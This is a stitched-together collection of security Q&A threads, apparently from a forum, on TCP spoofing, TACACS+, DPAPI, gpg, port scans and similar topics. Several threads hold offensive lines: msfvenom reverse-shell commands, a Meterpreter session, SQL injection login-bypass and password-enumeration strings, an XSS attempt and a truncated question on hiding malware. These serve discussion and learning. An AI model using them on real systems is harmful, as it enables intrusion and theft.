After determining the sequence. (via Passive Eavesdropping) It is easy to get the server to accept in-sequence data.

  Client A with real IP has connected ... Now, the attacker machine M sends a packet spoofing the IP address of A ... Will the ACK flag/field from server S be accepted by A?

The Acknowledgement packet will have the same sequential identifier as the Data packet sent.

The client A will not accept the Acknowledgement because the Data was sent from attacker M. (so the client is not anticipating an Acknowledgement yet)

(Unless of course this were an Active (non-passive) attack which gives the attacker more options, such as true MiTM)

However, the server will still accept the data.

Even if the client does not accept Acknowledgement of spoofed data packet, the connection will remain open. The client could even send another Data packet. The server will ignore the second Data packet because it has the same sequential identifier, but will probably repeat the Acknowledgement back to the client which would be none-the-wiser. I'm not 100% sure of this so I posted a specific question on that point just to be sure.

  The packet sent by M with spoofed IP of A gets a response from S to A. Will this response be accepted by A?

Yes, The Input and Output streams will increment their sequential identifiers separately.

Using a secure connection such as TLS will detect such TCP spoofs quite easily, so that is usually the recommended solution.


Difference between "windows/shell_reverse_tcp" and "windows/shell/reverse_tcp" Exit Behavior The above 2 Metasploit payloads are used to create a reverse shell from one system to another. The difference between them is clearly explained here https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work

However, I am trying to understand how both payloads will act if the system they are trying to connect to is not reachable.

for example:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=443

and

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=443

will try to connect to "10.0.0.50". The question is how each payload is going to act if "10.0.0.50" is not listening on port "443" ?

Both payloads are using EXITFUNC  process, however, when I run them inside a debugger and place a breakpoint at the last instruction of the shellcode, I got different results.

I see both of them utilize "mswsock.dll" trying to connect to the remote system, once timed out (default is 5 seconds):

shell_reverse_tcp will show "process terminated" inside the debugger and EIP is pointing to ntdll.KiFastSystemCallRet. The breakpoint will never be hit
on the other hand shell/reverse_tcp will hit the breakpoint at the end of the shellcode

Notes:

I confirmed that both payloads working fine by connecting successfully to the remote system if its listening on the preconfigured port.
shell_reverse_tcp hits the breakpoint only if it first was able to connect to the remote system. After exiting the shell on the remote system using exit inside CMD, then the breakpoint will be hit.

Any idea why one is hitting the breakpoint and one does not if the remote listener is not reachable ?

Thanks in advance.

It turns out to be a bug with the shellcode generated by msfvenom

https://github.com/rapid7/metasploit-framework/issues/5811


Where to submit an algorithm for analysis? I'm developing a cryptographic toolkit and plan to employ custom algorithms for hashing, password stretching, etc. Is there a way I can get them analysed? Yes, I can post it on my website and on sites like reddit as a challenge, but that is the only way?

Please note that this is different from Why shouldn't we roll our own? as this question requires much more specific answers, with links (if any).

There is no easy way to achieve this.

You first have to read enough literature to understand why current algorithms are designed the way they are, and how earlier algorithms have been broken.

Next you have to write a research paper documenting how your algorithm has been secured against all known attacks in existing literature and what your algorithm can do better.

Finally you submit this paper to a serious cryptographic journal and get it accepted. (Beware that if you did not fully understand what you were doing at the earlier steps you are going to get stuck at this step.)

Once your algorithm has been accepted in a journal you wait to see what response you get afterwards. If your algorithm gets attention of the cryptographic community for a few years and does not get broken, then it may be safe start using it.


How exactly does TACACS+ encryption work? I'm trying to understand how TACACS+ encryption works. I've read the Cisco's TACACS+ RFC draft but it's too technical and not very easy to understand. My questions are:

Does the TACACS+ device (client) authenticate itself to the server before sending any requests? Is it using any challenge-response technique and which algorithms are used to encrypt the challenge/response packets?
What happens when a user is trying to log on to a device using TACACS+? How are the requests sent? Is the whole packet including username + password encrypted and which encryption algorithm is used?

TACACS+ requires that a pre-shared key (length of the key is restricted to 63 characters) is configured. This is how the device authenticates to the server. This is not 'challenge-response'.

This pre-shared key is used to set up encryption that encrypts the whole packet, which means that usernames and passwords are protected from the start.

How it is encrypted is explained in the RFC in the section "Body Encryption". It's a version of the One Time Pad.

  In this case, the packet body is encrypted by XOR-ing it byte-wise
  with a pseudo random pad.

  ENCRYPTED {data} == data ^ pseudo_pad

  The pad is generated by concatenating a series of MD5 hashes (each
  16    bytes long) and truncating it to the length of the input data.

  Whenever used in this document, MD5 refers to the "RSA Data
  Security,    Inc. MD5 Message-Digest Algorithm" as specified in [3].

  pseudo_pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]} truncated to len(data)

  The first MD5 hash is generated by concatenating the session_id,
  the    secret key, the version number and the sequence number and then
  run-    ning MD5 over that stream. All of those input values are
  available in    the packet header, except for the secret key which is
  a shared secret    between the TACACS+ client and daemon.

  The version number is the one byte combination of the major and
  minor    version numbers.

  The session id is used in the byte order in which it appears in the
  TACACS+ header. (i.e. in network byte order, not host byte order).

  Subsequent hashes are generated by using the same input stream, but
  concatenating the previous hash value at the end of the input stream.

  MD5_1 = MD5{session_id, key, version, seq_no}

  MD5_2 = MD5{session_id, key, version, seq_no, MD5_1}

  ....

  MD5_n = MD5{session_id, key, version, seq_no, MD5_n-1}

User authentication process is described here:

https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/configuration/guide/cli/CLIConfigurationGuide/sec_tacacsplus.html

Update 01.03.2018:

It seems that Cisco has updated TACACS+ and users are now able to encrypt passwords with AES128 when using newer high performance switches. So far this only encrypts passwords. It does not change the encryption of the payload of the TACACS+ protocol. But it's something. Note though that not all products can make use of this.


Can a user be redirected to a malicious website if only a part of the url can be controlled by user input? I have a site located at

https://gooddomain.com/wonderful?returnPath=goodThings

which redirects me to

https://gooddomain.com/somegoodplace/goodThings

At the server side, the redirect is defined by

String path = request.getparameter("retrunPath");
String rPath = "redirect:/somegoodplace/"+ path;
return new ModelAndView(rPath, model);

Is there a payload for 'returnPath' parameter which an attacker can use to redirect an unsuspecting user to https://evil.com.

Or

Is the risk of open redirection completely mitigated with the use of redirect prefix?

Is there any other attack possible with this code? [perhaps XSS as user supplied value gets reflected on the address bar.]

Is there a payload for 'returnPath' parameter which an attacker can
  use to redirect an unsuspecting user to https://evil.com.

No.If you only control a part of redirection URL a Open redirect vulnerability is not possible in such a case.

  Is there any other attack possible with this code? [perhaps XSS as
  user supplied value gets reflected on the address bar.

XSS is definitely possible but it is impossible to answer with the information you have provided.Maybe the returnPath variable gets reflected back into the html page without input sanitization,Maybe its gets stored and then reflected without sanitization(far fetched) or maybe it gets printed via Sinks(DOM based).

  Is there any other attack possible with this code?

By that i assume the three line code you pasted?No.


How to know if a file is decrypted or not For school, I have to do an exercise in which I have to decrypt files by brute force attack.

There are a lot of different files in different file formats. The files have been encrypted using XOR or the caesar algorithm.

I know how to try every possible key to decrypt the files but, how can I know if the file is being decrypted with the right key or not?

You really can't, if you're just encrypting / decrypting text.

If you know that the encrypted string is "kdo" and the encryption method is a Caesar shift, the plaintext could just as easily be "IBM" as "HAL". You'd have to have some idea of what the plaintext "looks like". For instance, if you know the plaintext is the name of a Stanley Kubrick character, you'd have a decent idea of which one it should be.

If you have a longer string, it's much easier to narrow things down. A large text file has much fewer intelligible results than the three-character example above. But you'll still need to determine whether it's decrypted yourself.

On the other hand, if you're decrypting an entire file in some specific format (.docx, etc), you can be reasonably sure the file is decrypted if the parsing program (Word, etc) can read it.


Can web application do anything to prevent risk from client-side malware? Client side malware (keyloggers, screenscrapers etc.) is a great risk. It can't be effectively stopped from side of ordinary application. Only users themselves can do some measures to  prevent risk from them. But people don't care.

Can web application do anything to reduce risk from client-side malware? If not, can ordinary application (i.e. standalone application that is installed by user to his computer) do it?

To my knowledge, you are severely limited unless you take the role of an antivirus, which requires privileges on the computer, which can be granted to a webapp through Java or ActiveX, etc. However, even that is spotty.

Providing and requiring a hardware token such as YubiKey will mitigate the keylogger problem by providing automated disposable passwords.
Preventing (where possible) any data from making it to the disk: (make sure your cookies are session only, make sure your pages are no-cache, and, as suggested by p____h, disable autocomplete) (this item may be worth a separate question)

However, beyond that (screen scrapers), the problem remains, you are using hardware that is beyond your control. The user is able to download anything into the computer, malicious or otherwise.

You could advise (or require) the use of non-Windows systems. (ChromeBooks claim to be effective) Depending on the OS you choose, you would either be reducing or restricting the user's ability to inject their own computer, at the same time you would reduce their flexibility to about the same degree; because the most restrictive OSes are probably not the most popular ones, nor would they be the most targeted.


How can I write logical signature for ClamAV simillar as it is in YARA? First of all, I know that yara rules can be used in combination with ClamAV, but here I have something else in my mind, so my question is; how can I write logical signature simillar as it is in YARA.

Here is an example; Let's say that I have three strings:

A, B and C

convert that in YARA rule:

strings:

$s1 = "A"
$s2 = "B"
$s3 = "C"

condition:

any of them

Any idea how can I achieve that with ClamAV signatures?

Done. I was a little bit lazy to research deeper on my own, but here is an answer:

  Logical Expression

  This is where we will insert our boolean logic for detecting on our
  content matches. This uses operands like "&" for "and", "|" for "or",
  as well as "=", "<", ">".

So strings will be separated like:

(0|1|2);3c3f7068702024;68647337386870;6576616c

Simple as that.


HQL injection example Our developers left a surprise in handling user login. Namely:

// java
List users = hibernate.find("from Users where username = '"+formUsername+"'";
if (users.length==0) { return BAD_USER; }
if (!checkPassword(users.get(0).getPassword(), formPassword)) {
  return BAD_USERNAME_PASSWORD_COMBO;
}
// continue to mark session as authenticated

Now, obviously, it's possible to inject into the query. But that is HQL language. If it was SQL, and I knew the structure of the database, I could hang a "union" operation, and could log in into any account. But I don't quite see what kind of malicious HQL I can hang on here, to really make something bad happen.

Yes, we've already replaced this code to use parameters, but I'm just curious as to what can be done in that situation. The HQL examples I've seen are about adding 'OR' operator, which will not help in this case.

Also, the underlying database is postgres, so any postgres functions are fair game.

P.S.

There was a question as to how the union would help. Given the table structure of (id,username,password), and SQL query of:

select id, username, password from users where username = ...

I can inject:

' union select 1, 'root', 'synthetic_password

and the complete executed SQL will become:

select id, username, password from users where username = '' union select 1, 'root', 'synthetic_password'

First select would not return any records, and the second will return a record that JAVA code will read and populate its beans from it. It will then compare the password, but since I provided the password data in both the injected SQL, and in the form, they will check out.

You could for example enumerate any users hash/password:

insert the following as the username:

admin' AND substring(password,0,1) == char(64) AND '1' = '1

Checks if first character in column 'password' is a lower case a.


I want to inject XSS payload in an anchor tag, but the double quotes are being converted into %22 The tag works like this:

http://google.com" onclick=alert(124)

Here, the double quote I put is turned into %22. Is there a way to overcome it?

Here, the double quote I put is turned into %22. Is there a way to overcome it?

No. Double quotes changing into %22 is called url encoding, which is performed so that rendered page doesn't treat it as double quotes.


User-to-user encryption in addition to SSL for mobile phones? I have learned that SSL is a protocol to implement machine-to-machine encryption and that there are protocols, like PGP, which implement user-to-user encryption (end-to-end encryption).

There are mobile internet messenger applications which transmit the messages over a SSL connection. Would it make sense to use user-to-user encryption in addition to the SSL connection? Would this yield any benefits?

By encrypting machine-to-machine, you (sort of) protect the data in transit, but user-to-user encryption protects the data in transit, from parts of the machine (further up the stack), as well as protecting it in storage. An additional benefit to user-level encryption is better control over the encryption process, in case you do not have control over the SSL process at any point.

The question becomes, "who are you protecting the data from?"

The Pidgin chat client, for instance, can be configured to use user-level encryption, and gains the benefits I outlined.


Meterpreter file upload - segmentation fault I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session using the linux/x86/meterpreter_reverse_tcp payload, handling it using the exploit/multi/handler exploit.

When the session is on, I tried to upload a file.sh using the "upload" command:

meterpreter > upload kali/path/to/file.sh ubuntu/destination/path

what I receive on the Kali VM is:

[*] uploading  : kali/path/to/file.sh -> ubuntu/destination/path
[*] 10.0.2.15 - Meterpreter session 3 closed.  Reason: Died

On the the ubuntu VM I receive a Segmentation Fault error.
All the other meterpreter commands work (even the download one).
Can anyone help me understanding the problem?

why not use Meterpreter to set up a netcat listener that saves the received data as a file?

ubuntu: nc -l 4444 > file.sh (listen for data, save to file.sh)

kali: cat file.sh | nc [ubuntu ip] 4444 (send file.sh to specified port)

To go the opposite direction, do:

kali: cat file.sh | nc -lp 4444 (listen for connection, serve out file.sh)

ubuntu: nc [kali ip] 4444 > file.sh (connect to port, save received data as file.sh)


Should I go for Master of Science by GIAC SANS and what to do with my expiring GSEC cert? I am now concentrating on my startup which is basically a one-man show.

At the same time, i just received an email from SANS Technology Institute’s (STI) about their exciting new accelerated option called “STI Cohort 2013.” which promises me that I would get a Masters of Science.

The following information about my situation and my considerations:

1) I earned a GSEC cert that is due to expire in 30 days. This cert costs me roughly $3000 USD I think. Which got me nowhere near a security job in Singapore or any other job. The MCSD .NET certificate was far more useful than the GSEC.

2) I am interested in IT security, but I want to get my startup to succeed more. My mind is thinking that I need to arm myself with IT knowledge since ecommerce requires my startup to prioritize.

I am just not sure if this is rational reasoning OR rationalizing my fear of failure in my startup hence very subtly sabotaging my chances of startup success by tempting myself towards this Masters of Science.

3) The Masters of Science in 2 years sound tempting, but I am very unsure how useful it is for me in my startup or, taking a longer view, my career.

4) I have no intention to travel to US to complete the Masters. I have every intention to stay in Singapore or within Asia for the next few years.

Here are my follow up questions if you say either YES or NO to my question of going for the Masters.

If your final recommendation to me is YES, then I would like to ask
The application apparently requires me to produce evidence that i work in organization with security as part of my working experience. Does working in my startup count?

If your final recommendation to me is NO, then I would like to ask should I let my GSEC cert expire?

Thank you.

UPDATE

conclusions:

1) get a job with IT security related experience

2) then consider getting certifications after 2 years.

3) for web application security, consider reading

the following:

       a) Hacker Techniques Tools and Incident Handling,

       b) 7 Most Deadliest Web Application Attacks,

       c) Web Application Obfuscation,

       d) Security Strategies in Web Applications and Social Networking,

       e) Fundamentals of Information Systems Security

There are better certs than gsec (CCIE, CCSP, CISSP to name a few), if you really want a useful cert I would explore those.  Posting a question and asking for more responses to your previous question (see: spamming) is not a good way to endear yourself to knowledgeable experts on this site.  You might want to think about not asking 5 part questions as well, your initial title is referencing pursuing your Masters but you also ask about certs.

I don't think your own startup should count as sec experience, and if you're thinking about getting a Masters you might want to start by doing a lot more research in the security field first.  That program is for experienced professionals, and from the questions you asked in your prior question it seems as if you don't possess any knowledge beyond the most basic of security principles.  There is a reason they have the work qualification, because if you don't have experience you will probably be over your head.  If you're truly interested in security, I would recommend thinking about not how you can get around the admission requirements and obtain some "degree", but how you can actually improve and broaden your security related knowledge.


How are private keys distributed safely? I am going through the RSA algorithm and I have a few questions.

My understanding of RSA Algorithm:

How does a receiver get his private keys P and Q?

For a particular public key, if every receiver has the same private keys then one malicious receiver can decrypt any message that is intended to send to other receivers?

This image is confusing. The private key of the sender is different from the private key of the receiver. These keys are private, so not even the proper sender and receiver know each others private keys. They are not distributed at all, only public keys are. I don't know why this image portraits them being the same. Also there are two public keys. One for each private key. You should probably find a better image.


What should I do when I need to store passwords for usage in 3rd party software? I have a desktop WPF application which authenticates with Dynamics CRM 2011. I ask for the username and password of the user and use them to connect to Dynamics CRM 2011 using CrmConnection.parse("url={2};Username={1};Password{2}",CRMServerUrl, Username,Password). This class then connects to the CRM Server using the provided credentials (authenticated against Active Directory).

The conundrum I'm struggling with is that part of the design of the application is that authentication to CRM is only needed once. Any authentications past the first one should happen automatically using the credentials the user previously entered (And yes, the user can change these in the app if needed). This means I need to store passwords, but I cannot hash them.

Currently, I use the methods suggested by Jon Galloway in Encrypting Passwords in a .NET app.config File. A coworker recommended this. I read some other questions on this matter, but some of the concepts like derived keys, hardware encryption or sending a derived value are either total blind spots to me or are not possible within the design constraints.

What are my options?

After reading your question, but before reading the Jon Galloway post, my initial reaction was to use DPAPI. So I was encouraged when I finally took a look at Jon's post.

Here is why. As Snox says, encrypting the password with a master key makes sense. That is exactly what DPAPI does. But, the master key for DPAPI changes between users and machines. So you don't have to figure out your own way to do this. DPAPI has presumably been studied by cryptographers, so it should be fairly secure.

That said, DPAPI is no silver bullet. It only offers a tradeoff. So it is important to understand the risks involved. First, someone logged in as the same user can decrypt DPAPI blobs by simply calling the right function on the blob. You can lower this threat by using the optional entropy parameter. I'd highly recommend this. That value could be hard-coded into the application or read from a registry key, etc. Hard-coding it into the application might be the way to go as the attacker would have to reverse engineer the app to get the value back (not hard, but definitely raises the bar). Attackers with access to your filesystem can also decrypt DPAPI blobs (assuming they know the optional entropy) using DPAPIck. This also requires knowing the user's password.


Sextortion with actual password not found in leaks I have received one of those typical sextortion scams ("drive-by exploit", filmed by webcam (mine has tape on it), pay bitcoin etc.). The thing is that an old password of mine is included (I don't even remember where I used it), but searching the password on HaveIBeenPwned returns nothing (I have previously been notified of two leaks, Last.FM and MyFitnessPal, but those accounts use different passwords).

That got me wondering: since this seems to be a rather old password, how complete are databases like HaveIBeenPwned, and where could I report such a new exploit, other than the authorities?

While services like HaveIBeenPwned are fairly extensive, there are still many stolen user / password lists that have not been revealed to the public eye. Maybe a company didn't actually disclose what happened, never realized anything happened, and/or no researcher has yet found the list. Unless you somehow find the list that included that password somewhere, there isn't a good option to try and report this incident.


How safe are the passwords suggested by Apple keychain? Safari on recent versions of Mac OSX can suggest passwords on signup forms. These passwords have the a similar form (the alphanumeric characters are separated by dashes: AbC-dEf-941-T3k) and they only contain 12 alphanumeric characters.

How safe are these passwords?

I believe that answering this question based on the mere complexity of the password generated may miss the mark.   While it appears the passwords generated by Safari/OSX Keychain are quite complex and would be virtually impossible to crack with technology available today, this only helps in defeating brute force attacks.

Much more commonly, passwords are discovered through:

Malware/Keyloggers

This OSX keychain access should make it harder for malware and certainly keyloggers (since you're not typing anything) to obtain passwords.

Password re-use

Reuse of same password on multiple sites means taht if one site is compromised/experiences a breach, hackers will try this username/password combination on other sites.

So, that said, using unique passwords for each site and a password manager like Safari/Keychain increases your security significantly.   This security enhancement goes far beyond the simple complexity of passwords, because by using a password manager you're engaging in a best practice that helps defeat numerous types of attacks to get your password.


Encrypt files securely on remote server? Let's suppose I have a rented VPS hosted somewhere in the world. Considering that I don't have physical access, I'm interested in some method that would allow me to encrypt data on the server without the VPS provider being able to decrypt it. They shouldn't be able to figure out my encryption key, or make the whole thing reasonably hard or time consuming to decrypt.

So a protocol like this

VPS takes a part of the encryption key from me through a secured network tunnel. And takes another part from /dev/random for example. VPS sends me a lot of jibberish, that at some point includes the first part of the encryption key, that was taken from /dev/random. So that I can later decrypt the files if I need them.

So anyone that could manipulate the network so that he sees the plain text traffic, wouldn't know about where the important stuff, the key begins in the message. These message would also contain the offset on which the server sends the next encryption key.

I assume that if I found a VPS provider that by contract or by government law stores monitored network traffic for a specific period. (e.g. no longer than 3 months), after that period, the files I encrypted would be completely safe.

Is that true? How secure is this whole scenario? Should I use it in production?

(Before encryption, the files only exist for a very short period in the memory.)

This approach could have implementation issues, and there are already solutions to what you want.

It's simple; make an assymetric keypair (say PGP) on another server:

gpg2 --full-gen-key

Export the public (decryption) key:

gpg2 --output public.gpg --export me@mymail.com

Import the public key on the VPS:

gpg2 --import public.gpg

Use it to encrypt data on the VPS:

gpg2 --recipient me@mymail.com --encrypt my-file.txt

The result will be a file that is only decryptable on your local machine containing the other private part of the keypair. Be careful not to leave the file on the disk unencrypted, the VPS provider will make backups of the HDD.


What can I do about being heavily port scanned? I have two devices connected wirelessly to my Linksys router while running Symantec Endpoint Protection on my computer. A few days ago I started using the internet by connecting the cable directly to my computer. For some reason my router slows up my download speed - I have already tried fixing it with no luck, it's probably outdated. Anyway after I hooked up directly via cable SEP started notifiying me that I am being port scanned by a certain IP which is not a part of my network. It's European. SEP automatically blocked the IP for 600 seconds. After that I noticed that I have been port scanned continously by different IP's from around the world. As I understand this is quite normal and not something I should be concerned about if I am behind a firewall. However, the previously mentioned IP keeps port scanning me about every minute repeadetly along with other various IP's. After I connected through wireless on my router I noticed that the SEP doesn't log these IP's anymore but my router does. I already blocked the IP in SEP. But it keeps scanning me which is visible in my router log. The router isn't capable of blocking the IP connections like SEP.

I would like to know what else can I do to improve my security?
Which ports should I keep open and which ports should I close? If I understand correctly the IP's are scanning for open ports that are vournable however aren't certain ports always open in order for the internet to work?
I don't have any ports forwarded on my router. There are some application specific ports open in the windows firewall. Can I get hacked through these ports?
Is heavy port scanning the reason behind slow router/wireless speeds?
Why am I being targeted by the same IP repeadetly? Is someone trying to hack my computer?

I would like to know what else can I do to improve my security?

First of all, you should make sure you use the newest firmware for your linksys device (if you use it). I wouldn't recommend to connect your Windows PC directly to the internet. Doing so allsows a potential attacker to directly "access" and gather information about the target machine and there's only your SEP and your Windows firewall to prevent this (and i wouldn't entrust my life to those solutions). Again, if your systems are top up-to-date you decrease the risk factor.
In my opinion the securest way is a small linux device (e.g. a raspberry pi) between your PC and the internet. You can use all solutions Alexey mentioned on it and you are able to customize it the way you want. This way, you would have many possibile defenses against port scans and network attacks.

Which ports should I keep open and which ports should I close? If I understand correctly the IP's are scanning for open ports that are vournable however aren't certain ports always open in order for the internet to work?

Short explanation on portscans and attacks:
Most portscans scan the lower well known ports (Well known ports) to find services (e.g. FTP servers, SMTP servers, etc) so they can exploit them to get access to the machine. You can't imagine how many unsecure servers are out there that run outdated versions of such services. Most exploit attacks run a scan automatically, compare the results with an exploit database and attack if the have a suitable exploit. For scaling, those attacks are often scripted. "Vulnerable ports" are ports on which unsecure or outdated services are listening on your machine.
-> There are no ports that should be open or closed by default. Of course, the securest way would be to have no single port open / having no service on our machine listenting to incoming connections from the internet.
You are right, there are certain open ports on your machine if you connect to the internet (see Ephemeral ports). Example: You connect to an http server by using firefox. Firefox now opens a socket on your machine on an ephemeral port (e.g. 50000) to send and receive packets to/from the http server on server port 80 (Well known port). But Firefox only listens to packets from the connection that it has initiated itself, so in your scenario you don't have to worry about them.

I don't have any ports forwarded on my router. There are some application specific ports open in the windows firewall. Can I get hacked through these ports?

See answer to 2., if you have services listening on such ports those services/applications are potentially exploitable. Again, keeping them up-to-date decreases the risk.

Is heavy port scanning the reason behind slow router/wireless speeds?

See Alexey's answer, it shouldn't be the reason.

Why am I being targeted by the same IP repeadetly? Is someone trying to hack my computer?

Of course, that could be the case. A "hacker" uses portscans to gather information on the system he wants to infiltrate. But it's much more likely that some chinese automated script is just that bad that it uses the same targets over and over again. As mentioned in answer 2, those attacks are often scripted to scale a few attack vectors on many many machines out there to get results.
Best Regards


Is Chromebleed still needed? I've been running 'Chromebleed' for years now ... is it still needed? The latest advice I've found on various sites is now over 18 months old.

Maybe? shrugs

That is likely the best answer I can give. I say this because most responsible admins have taken steps to eliminate the heartbleed vulnerability from their systems.

So, for the most part if the majority of sites you visit are mainstream, then you are likely going to be fine.

However there are also those admins who have not patched...for one inexcusable reason or another. And their site continues to be vulnerable.

Now the problem is, without Chromebleed...how would you know if a new site (new to your normal list of urls) which you were visiting was vulnerable or not, before you passed it sensitive information?

Sure it may not matter if you never post anything to random websites you don't want the world knowing.

...but do you only ever just post public information to new secure sites?

Security is all about risk assessment and mitigation, so if the majority of sites on the internet that you visit are known safe, and you're careful about new sites. Then in your case, the need of the tool to detect unknown threats may not be significant enough to you to matter.

On the other hand, if you like to live a little more dangerously...maybe you read the latest hacker news on a hand full of fly by night hacker sites or perhaps you indulge in a few torrents once in a while...

Then you should likely keep using it. The nice thing here is that to continue to use this tool requires a minimal amount of effort for a maximum amount of protection against this issue.

Like I said, this is all about what you consider an acceptable level risk analysis and mitigation.

On that note, it's crazy to think there are still SSLv1 - SSLv3 sites operating on the web today. So it's not so crazy to think you may still find a site afflicted by Heartbleed.

As of 2014 approximately 18.7% of websites checked were using SSLv2, and specifically 38 sites only supported SSLv2...just wow.
TLS Survey: Jan 11 2014


Is AES the recommended symmetric cipher for production level software? I was considering developing an application level software for file encryption after stress testing many of my implementations of popular symmetric ciphers. I would love to support  multiple algorithms like AES (GCM / CBC/ CTR) , XChaCha20-Poly1305 etc. But I'm at a crossroads when choosing a highly recommended symmetric cipher for my application, when it comes to performance as well as secure implementation. AES has been tried and tested for years and is still the most popular symmetric cipher in the world. It's well documented and also standardized by various Governments (FIPS standard for example), but very difficult to implement securely unless hardware acceleration is available.  A pure software version of AES is slow and my application should be able to achieve the same performance on many devices. Also, AES GCM has a maximum size limit for messages ~ 64 GB, and I really wanted authentication with encryption!

Should I stick with AES and its various modes (ex. CTR HMAC SHA256) or is it time to adopt a new symmetric cipher like XChaCha20 or XSalsa20 with Poly1305,  which is easy and secure to implement in software, but unfortunately not standardized yet ?
Also, why using a standardized cipher is recommended in production quality software?

Answering your questions in reverse order:

Why use a standardised cipher? It is very difficult to create a cipher that is secure against many possible attacks, while maintaining good performance, reasonable complexity for implementation, etc. Standardized ciphers, as you know for AES, for example, have been tried and tested for years, and if they are still popular after all that, we can gain much confidence in such ciphers, versus newer ones that have not (yet) been tried and tested as much.

I think XChaCha20, etc. may not be ready yet for production quality software, especially depending on your requirements, who would be using it, etc.; the probability that some fatal/serious flaws are found, say after 1 or 2 years and your software is being used by millions of people, may be small, be not as small as more standardised ciphers.

In fact, if you are concerned about implementation complexity, and afraid you may make a mistake in implementation, that concern is valid, but one option is to use certain well tested libraries/implementations, e.g., of AES GCM, etc., to mitigate the risks in the implementation side of things.


PPTP and Split Routing If I uncheck the "use default gateway on remote network" to be able to browse local shares and the internet at the same time, does that void encryption?

Yes, if you uncheck that your traffic will be unencrypted.


Secure Android app development I'm beginning with Android App development and I want to make sure that I'm taking the proper security precautions since most apps will handle sensitive data.

What security precautions should be taken in order for my app and the data it handles to be secure? (precisely, my worst case scenario thread model would be a well funded attacker trying to get to the data handled by the app in whatever way it can)

I know that,

The signing key must remain secure
Data should be stored within the apps sandbox (preferably encrypted)
Data should be encrypted end-to-end

But should I, for example use windows as a development platform or is linux more advisable in this case.

The sort of apps I'm planning to make will be primarily data transfer and communication apps.

Any thoughts are appreciated!

The development platform has as close to nothing to do with the security of your app. It might, if your development machine is not properly secured or directly targeted.

The number one rule you have to follow is to not implement your own crypto. Use well known and tested libraries.


How can I authenticate securely to an internal website from an iPad without an strong password? I would like to authenticate from an iPad to a website securely without using a strong password. I have though of these possibilities:

Credentials stored in the iPad (like Gmail credentials).
Using digital certificates.
Using a static IP and giving access just to that IP.
Identifying the device at network level (MAC) and giving access to that specific user associated with the MAC.
Two factor authentication.
Smartcard or biometry?

What is the right secure way of doing it?

Client certificates are your best bet - they allow the iPad to prove its identity without transmitting the confidential part (the private key). Even if the network is tapped, HTTPS is somehow broken or the destination server is compromised, the attacker won't be able to steal the key. It is also seamless and you don't even see the authentication - it all happens in the background during the TLS negotiation.

Smart cards would be a good idea to further protect the private key (if the iPad is compromised the key could still leak) but iOS has no support for them currently.

You can add two-factor authentication on top of that using TOTP for added security if your threat model requires it.

Biometrics add little security as they can't be changed if compromised (and given that we leave our fingerprints everywhere, it's good to assume they are indeed compromised), not to mention quite hard to pull off on iOS as there is no built-in support for it (Touch ID can only be used by apps, not websites, and only authenticates the user to the iPad - there would be no way of sending the fingerprint data to the server for verification).


Separate certificates on a local machine for each service I'd like to know if it's possible to have a separate certificate on a local machine, one for a heavy client and the another one for the web browser to be sure the correct client communicate with the web browser. Thanks a lot for your help.

Yes, it is.
A certificate is simply a file, and so is the corresponding private key. You can place multiple certificates with their private keys on a machine and point each software to a different certificate.


How can I ensure that my Python web application source code is secure? Note: I'm new to information security practices so feel free to point out anything I could be doing better.

Situation: I'm creating a web application that runs a Python program as part of the back end. This file is closed source and must be secured from anyone trying to accesses it without permission.

What is the best way to go about securing this file from being copied or seen while still allowing the web application to send input data to the file and receive the proper outputs from the same file?

Also, I'd like to point out that the service doesn't need "bank-level" security, obviously the more secure the better but currently we only have the resources to allow for security measures that are relatively easy to implement.

My original thought was to install Python on the web server and simply use the interpreter to execute the .py file. I'm assuming this is probably pretty insecure, due to the fact that the actual file is just sitting on the web server for anyone to look at?

Secondly, I thought of using a program (Nuitka or PyInstaller) to convert the Python into an executable then just having the binary on the web server. I'm not entirely sure how much this would increase the difficulty to get the source code but more importantly, my colleagues are concerned that using a third party software to convert confidential code is a security risk in itself. Meaning, the software could potentially make copies of the program and ultimately leak the program in some way that could do harm.

Are either of the above methods sufficient or is there a better way of approaching the security of the source code?

Either of those methods should be sufficient, assuming your webserver is set up properly and does not allow users to drop into and view the file system structure.

If you want to compile the code into an executable, and ensure the developers of the compiling software can't get the code sent back to them, set up a development system as a virtual with all of the software you need, but none of your code.  Shut down the virtual, make a copy/clone with a full copy of the virtual hard drive.  Fire up the copy, remove the network adaptor, and connect it to a separate virtual drive (this drive should be in a separate folder and you'll place your code onto it the first time you use it).  Do all of your work on the clone, copy the executable to removable storage (USB, CDROM, etc), then place the finished work on the webserver.  At least once a month shut down and delete the clone system (taking care to preserve the separate virtual drive with your code), fire up the original virtual, complete any OS and application updates, and create a new clone (doing the same steps of removing the network adaptor and connecting the virtual drive with your code).


Authenticate limited client devices from server without login process I have limited client devices and one server.
I want to create a client-server secure connection while app installation but don't want human-interaction between devices and server like registration or login.
After installation app, this client device should be already authenticated.
Also want to avoid incorrect/fake devices.
In which way, I can implement this issue?
I am newbie to information security. Please help me.

One approach can be to use PKI. Major steps would be:

Define your own CA by creating, create a self signed certificate for it.
Make this certificate trusted by adding it to the trust store on every device. Thus, even if you update server certificate time to time, it will remain trusted, because it will be signed by your trusted CA.
Create separate key pair and certificate for every device, it should be used for communication with the server.
Register public key of every device on the server side. Based on this the server will authenticate client devices. The server will reject communication with any clients that have no public key, registered at the server. Besides, this will give you the possibility to prohibit access for some client devices if think they were compromised.

don't want human-interaction between devices and server

Yes, this will be fulfilled.

After installation app, this client device should be already
authenticated.

Installing a key pair on the device and pre-registering it on the server side will make them automatically authenticated when they establish connection to server.

Also want to avoid incorrect/fake devices.

The server will communicate only with clients whose public key is pre-registered on the server.


Pentest scenario where ping multiple Hosts is useful? I would like to know if there's any pentesting scenarios where ping multiple hosts is useful for the pentester.

EDIT. Of course any other that know if the host is live...

Pinging during pentesting is only helpful for a quick determination of what is immediately reachable. Nothing more, and nothing less. It should not be used for complete discovery of what is, or isn't on a network since some hosts (even on an internal scan (ping sweep)) may not return an ICMP response. During pentesting, I rely on networking knowledge, e.g. ARP, network ranges, moreso than ping.


How to Hide Malware on Windows OS How do hackers hide their malware on Windows, to startup and be impossible to find and delete?
The results I found that a hacker can use to hide his malware: (found here)
Windows: Setting hidden attribute.

